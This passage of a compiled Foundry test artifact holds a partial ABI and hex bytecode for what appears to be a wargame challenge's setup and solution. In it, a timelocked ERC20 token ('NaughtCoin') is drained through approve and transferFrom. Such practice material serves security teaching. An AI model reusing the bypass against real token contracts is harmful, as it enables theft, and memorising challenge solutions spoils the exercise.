StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b506172d9806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001c4d565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c90565b620001b3620001fa36600462001d7c565b62000a2b565b6200020a62000bf6565b604051620001c7919062001e4f565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001f12565b620001da6200025736600462001fdf565b62000ef8565b6200019a62001088565b62000271620012ea565b604051620001c7919062001ff7565b620001b3620002913660046200205d565b620013bf565b62000237620014de565b620002b8620002b23660046200207b565b620015d8565b6040519015158152602001620001c7565b6200027162001768565b6200019a6200183d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620018d6565b620001da620019aa565b6200019a6200032f36600462001fdf565b62001a0a565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f81518110620003675762000367620020b7565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b5050505080600181518110620004495762000449620020b7565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620013bf565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001bf2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002158565b90508060018251620009829190620022e8565b81518110620009955762000995620020b7565b60200260200101515f0151600281518110620009b557620009b5620020b7565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620022fe565b90505f81848560405160200162000acd92919062002350565b60408051601f198184030181529082905262000aed9291602001620023fe565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002430565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620022fe565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a7e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002444565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002444565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001cde565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200247e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f620020b7565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001c00565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b506021546023546040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152929350169063095ea7b390839083906370a0823190602401602060405180830381865afa15801562001190573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011b691906200249c565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801562001217573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200123d9190620024b4565b506021546023546040517f3c48664c0000000000000000000000000000000000000000000000000000000081526001600160a01b039283166004820152908216602482015290821690633c48664c906044015f604051808303815f87803b158015620012a7575f80fd5b505af1158015620012ba573d5f803e3d5ffd5b5050602054602154620012e79350620012e192506001600160a01b039182169116620015d8565b62001b20565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200132d9062002444565b80601f01602080910402602001604051908101604052809291908181526020018280546200135b9062002444565b8015620013aa5780601f106200138057610100808354040283529160200191620013aa565b820191905f5260205f20905b8154815290600101906020018083116200138c57829003601f168201915b5050505050815260200190600101906200130d565b5f80604051620013cf9062001c0e565b604051809103905ff080158015620013e9573d5f803e3d5ffd5b5090505f604051620013fb9062001c1c565b604051809103905ff08015801562001415573d5f803e3d5ffd5b508483604051620014269062001c2a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001460573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014bf575f80fd5b505af1158015620014d2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620015bf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200156b5790505b5050505050815250508152602001906001019062001501565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001634575f80fd5b505af115801562001647573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620016a5575f80fd5b505af1158015620016b8573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200171c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001745919081019062002158565b90506001815111156200175d57600191505062001762565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620017ab9062002444565b80601f0160208091040260200160405190810160405280929190818152602001828054620017d99062002444565b8015620018285780601f10620017fe5761010080835404028352916020019162001828565b820191905f5260205f20905b8154815290600101906020018083116200180a57829003601f168201915b5050505050815260200190600101906200178b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001894575f80fd5b505af1158015620018a7573d5f803e3d5ffd5b5050602054602154620018d49350620018ce92506001600160a01b039182169116620015d8565b62001b9f565b565b6008545f9060ff1615620018ee575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200197d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620019a391906200249c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001a178243620024d5565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001ad59086908690600401620024eb565b5f60405180830381865afa15801562001af0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b1991908101906200251c565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b85575f80fd5b505afa15801562001b98573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b6e565b6113e0806200255383390190565b610268806200393383390190565b610ae58062003b9b83390190565b611e7a806200468083390190565b610daa80620064fa83390190565b6001600160a01b0381168114620012e7575f80fd5b5f805f6060848603121562001c60575f80fd5b833562001c6d8162001c38565b9250602084013562001c7f8162001c38565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001cd25783516001600160a01b03168352928401929184019160010162001cab565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001d185762001d1862001cde565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d4a5762001d4a62001cde565b604052919050565b5f67ffffffffffffffff82111562001d6e5762001d6e62001cde565b50601f01601f191660200190565b5f6020828403121562001d8d575f80fd5b813567ffffffffffffffff81111562001da4575f80fd5b8201601f8101841362001db5575f80fd5b803562001dcc62001dc68262001d52565b62001d1e565b81815285602083850101111562001de1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001e1a57818101518382015260200162001e00565b50505f910152565b5f815180845262001e3b81602086016020860162001dfe565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001f0357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001eec57605f1988850301835262001ed984865162001e22565b948d01949350918c019160010162001eba565b505050968901969350509087019060010162001e74565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001fd157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001fbb5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f77565b5096890196945050509086019060010162001f39565b509098975050505050505050565b5f6020828403121562001ff0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200205057603f198886030184526200203d85835162001e22565b945092850192908501906001016200201e565b5092979650505050505050565b5f602082840312156200206e575f80fd5b813562001b198162001c38565b5f80604083850312156200208d575f80fd5b82356200209a8162001c38565b91506020830135620020ac8162001c38565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620020e757620020e762001cde565b5060051b60200190565b5f6200210162001dc68462001d52565b905082815283838301111562002115575f80fd5b62001b1983602083018462001dfe565b5f82601f83011262002135575f80fd5b62001b1983835160208501620020f1565b8051620021538162001c38565b919050565b5f60208083850312156200216a575f80fd5b825167ffffffffffffffff8082111562002182575f80fd5b818501915085601f83011262002196575f80fd5b8151620021a762001dc682620020cb565b81815260059190911b83018401908481019088831115620021c6575f80fd5b8585015b83811015620022c757805185811115620021e2575f80fd5b86016060818c03601f19011215620021f8575f80fd5b6200220262001cf2565b888201518781111562002213575f80fd5b8201603f81018d1362002224575f80fd5b898101516200223762001dc682620020cb565b81815260059190911b8201604001908b8101908f83111562002257575f80fd5b6040840193505b82841015620022795783518252928c0192908c01906200225e565b845250505060408201518781111562002290575f80fd5b620022a08d8b8386010162002125565b8a83015250620022b36060830162002146565b6040820152845250918601918601620021ca565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017625762001762620022d4565b5f602082840312156200230f575f80fd5b815167ffffffffffffffff81111562002326575f80fd5b8201601f8101841362002337575f80fd5b6200234884825160208401620020f1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200238981600585016020880162001dfe565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023c881600a84016020880162001dfe565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200241181846020880162001dfe565b8351908301906200242781836020880162001dfe565b01949350505050565b602081525f62001b19602083018462001e22565b600181811c908216806200245957607f821691505b6020821081036200247857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200248f575f80fd5b815162001b198162001c38565b5f60208284031215620024ad575f80fd5b5051919050565b5f60208284031215620024c5575f80fd5b8151801515811462001b19575f80fd5b80820180821115620017625762001762620022d4565b604081525f620024ff604083018562001e22565b828103602084015262002513818562001e22565b95945050505050565b5f602082840312156200252d575f80fd5b815167ffffffffffffffff81111562002544575f80fd5b62002348848285016200212556fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6113668061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200038f565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec366004620003b4565b6200017f565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200038f565b62000210565b62000131620002aa565b6200013c5f62000305565b565b5f816040516200014e906200036c565b6001600160a01b039091168152602001604051809103905ff08015801562000178573d5f803e3d5ffd5b5092915050565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b0382811660048301525f9184918216906370a0823190602401602060405180830381865afa158015620001e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002079190620003f0565b15949350505050565b6200021a620002aa565b6001600160a01b0381166200029c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620002a78162000305565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000293565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610f28806200040983390190565b6001600160a01b0381168114620002a7575f80fd5b5f60208284031215620003a0575f80fd5b8135620003ad816200037a565b9392505050565b5f8060408385031215620003c6575f80fd5b8235620003d3816200037a565b91506020830135620003e5816200037a565b809150509250929050565b5f6020828403121562000401575f80fd5b505191905056fe608060405262000014426312cc030062000232565b60055534801562000023575f80fd5b5060405162000f2838038062000f2883398101604081905262000046916200024e565b6040518060400160405280600a8152602001692730bab3b43a21b7b4b760b11b8152506040518060400160405280600381526020016203078360ec1b81525081600390816200009691906200031a565b506004620000a582826200031a565b5050600780546001600160a01b0319166001600160a01b03841617905550620000cc601290565b620000dc9060ff16600a620004df565b620000eb90620f4240620004ec565b60068190556007546200010a916001600160a01b039091169062000146565b6007546006546040519081526001600160a01b03909116905f905f8051602062000f088339815191529060200160405180910390a35062000506565b6001600160a01b038216620001a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001b4919062000232565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001e290849062000232565b90915550506040518181526001600160a01b038316905f905f8051602062000f088339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200024857620002486200021e565b92915050565b5f602082840312156200025f575f80fd5b81516001600160a01b038116811462000276575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002a657607f821691505b602082108103620002c557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200021957805f5260205f20601f840160051c81016020851015620002f25750805b601f840160051c820191505b8181101562000313575f8155600101620002fe565b5050505050565b81516001600160401b038111156200033657620003366200027d565b6200034e8162000347845462000291565b84620002cb565b602080601f83116001811462000384575f84156200036c5750858301515b5f19600386901b1c1916600185901b178555620003de565b5f85815260208120601f198616915b82811015620003b45788860151825594840194600190910190840162000393565b5085821015620003d257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b600181815b808511156200042657815f19048211156200040a576200040a6200021e565b808516156200041857918102915b93841c9390800290620003eb565b509250929050565b5f826200043e5750600162000248565b816200044c57505f62000248565b8160018114620004655760028114620004705762000490565b600191505062000248565b60ff8411156200048457620004846200021e565b50506001821b62000248565b5060208310610133831016604e8410600b8410161715620004b5575081810a62000248565b620004c18383620003e6565b805f1904821115620004d757620004d76200021e565b029392505050565b5f6200027683836200042e565b80820281158282048414176200024857620002486200021e565b6109f480620005145f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64